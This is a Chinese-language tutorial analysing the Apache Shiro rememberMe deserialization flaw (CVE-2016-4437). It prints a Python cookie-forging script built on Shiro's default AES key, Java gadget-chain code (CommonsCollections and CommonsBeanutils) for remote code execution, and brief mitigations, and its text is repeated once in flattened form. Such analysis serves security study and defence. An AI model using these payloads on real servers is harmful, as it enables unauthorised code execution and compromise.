java安全——shiro反序列化链分析
字数 1394 2025-08-29 22:41:38

Shiro反序列化漏洞分析与利用

1. Shiro550漏洞分析

1.1 漏洞原理

Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个反序列化漏洞,主要存在于rememberMe功能中。攻击者可以通过构造恶意的序列化数据,利用Shiro的默认密钥进行加密,最终实现远程代码执行。

1.2 漏洞利用流程

  1. 特征识别:在流量中查找rememberMe字段
  2. 加密流程分析
    • 用户信息 → 序列化 → AES加密 → Base64编码
  3. 反序列化触发点
    • CookieRememberMe类的rememberSerializedIdentity方法
    • AbstractRememberMeManager类的rememberIdentity方法
    • convertPrincipalsToBytes方法进行加密

1.3 加密方式

Shiro使用AES加密,默认密钥为kPH+bIxk5D2deZiIxcaaaA==,加密模式为CBC,使用随机IV。

1.4 利用代码示例

import sys
import base64
import uuid
from Crypto.Cipher import AES

def encode_rememberme(file_path):
    with open(file_path, 'rb') as f:
        file_body = f.read()
    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    padded_data = pad(file_body)
    encrypted_data = encryptor.encrypt(padded_data)
    base64_ciphertext = base64.b64encode(iv + encrypted_data)
    
    return base64_ciphertext

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python <script_name> <file_path>")
        sys.exit(1)
    
    file_path = sys.argv[1]
    payload = encode_rememberme(file_path)
    print("rememberMe={}".format(payload.decode()))

2. Shiro-CommonsCollections3链RCE

2.1 问题分析

由于Shiro 1.2.4自身没有CommonCollections类,且Tomcat的类加载器无法加载数组类([Lorg.apache.commons.collections.Transformer;),需要构造不使用Transformer数组的利用链。

2.2 解决方案

结合CC3和CC6链:

  1. 使用CC3的sink点:TemplatesImpl
  2. 使用CC2的InvokeTransformer.newTransformer
  3. 使用CC6的HashMap触发

2.3 关键代码

// 1. 构造TemplatesImpl
final TemplatesImpl templates = new TemplatesImpl();
// 设置_name、_bytecodes等字段

// 2. 创建InvokerTransformer触发newTransformer方法
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

// 3. 使用CC6的触发方式
final HashMap<Object, Object> map = new HashMap<>();
final Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
final TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazymap.remove(templates);

// 通过反射设置factory字段
Class lazymapClass = LazyMap.class;
final Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, invokerTransformer);

3. 无依赖ShiroCB链

3.1 原理

利用Shiro默认包含的CommonBeanutils(简称CB)依赖,通过PropertyUtils.getProperty调用TemplatesImplgetOutputProperties方法。

3.2 利用链构造

  1. 使用BeanComparator调用getProperty方法
  2. 结合PriorityQueue触发比较操作
  3. 避免直接依赖CommonCollections

3.3 完整代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {
        // 构造TemplatesImpl
        final TemplatesImpl templates = new TemplatesImpl();
        // 设置_name、_bytecodes等字段
        
        // 使用BeanComparator
        final BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
        
        // 构造PriorityQueue
        final TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        final PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);
        
        // 通过反射修改comparator
        final Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        final Field comparatorField = priorityQueueClass.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue, beanComparator);
        
        // 序列化
        serialize(priorityQueue);
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiroCB.ser"));
        objectOutputStream.writeObject(obj);
    }
}

4. 关键知识点总结

  1. Shiro反序列化流程

    • 序列化 → AES加密 → Base64编码
    • 默认密钥kPH+bIxk5D2deZiIxcaaaA==
  2. Tomcat类加载机制

    • 无法加载数组类([Lorg.apache.commons.collections.Transformer;)
    • Class.forName会解析数组,ClassLoader不会
  3. 利用链选择

    • 无CC依赖时使用URLDNS链进行探测
    • 有CC依赖时结合CC3和CC6链
    • 无CC依赖时使用CB链
  4. 防御措施

    • 升级Shiro版本
    • 修改默认密钥
    • 禁用rememberMe功能
  5. 调试技巧

    • 关注AbstractRememberMeManager类的解密和反序列化过程
    • 注意类加载失败的报错信息
    • 使用反射修改关键字段绕过限制

通过深入理解这些原理和技术细节,可以更好地分析和利用Shiro反序列化漏洞,同时也为防御此类漏洞提供了理论基础。

Shiro反序列化漏洞分析与利用 1. Shiro550漏洞分析 1.1 漏洞原理 Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个反序列化漏洞,主要存在于rememberMe功能中。攻击者可以通过构造恶意的序列化数据,利用Shiro的默认密钥进行加密,最终实现远程代码执行。 1.2 漏洞利用流程 特征识别 :在流量中查找 rememberMe 字段 加密流程分析 : 用户信息 → 序列化 → AES加密 → Base64编码 反序列化触发点 : CookieRememberMe 类的 rememberSerializedIdentity 方法 AbstractRememberMeManager 类的 rememberIdentity 方法 convertPrincipalsToBytes 方法进行加密 1.3 加密方式 Shiro使用AES加密,默认密钥为 kPH+bIxk5D2deZiIxcaaaA== ,加密模式为CBC,使用随机IV。 1.4 利用代码示例 2. Shiro-CommonsCollections3链RCE 2.1 问题分析 由于Shiro 1.2.4自身没有CommonCollections类,且Tomcat的类加载器无法加载数组类( [Lorg.apache.commons.collections.Transformer; ),需要构造不使用Transformer数组的利用链。 2.2 解决方案 结合CC3和CC6链: 使用CC3的sink点: TemplatesImpl 使用CC2的 InvokeTransformer.newTransformer 使用CC6的 HashMap 触发 2.3 关键代码 3. 无依赖ShiroCB链 3.1 原理 利用Shiro默认包含的CommonBeanutils(简称CB)依赖,通过 PropertyUtils.getProperty 调用 TemplatesImpl 的 getOutputProperties 方法。 3.2 利用链构造 使用 BeanComparator 调用 getProperty 方法 结合 PriorityQueue 触发比较操作 避免直接依赖CommonCollections 3.3 完整代码 4. 关键知识点总结 Shiro反序列化流程 : 序列化 → AES加密 → Base64编码 默认密钥 kPH+bIxk5D2deZiIxcaaaA== Tomcat类加载机制 : 无法加载数组类( [Lorg.apache.commons.collections.Transformer; ) Class.forName 会解析数组, ClassLoader 不会 利用链选择 : 无CC依赖时使用URLDNS链进行探测 有CC依赖时结合CC3和CC6链 无CC依赖时使用CB链 防御措施 : 升级Shiro版本 修改默认密钥 禁用rememberMe功能 调试技巧 : 关注 AbstractRememberMeManager 类的解密和反序列化过程 注意类加载失败的报错信息 使用反射修改关键字段绕过限制 通过深入理解这些原理和技术细节,可以更好地分析和利用Shiro反序列化漏洞,同时也为防御此类漏洞提供了理论基础。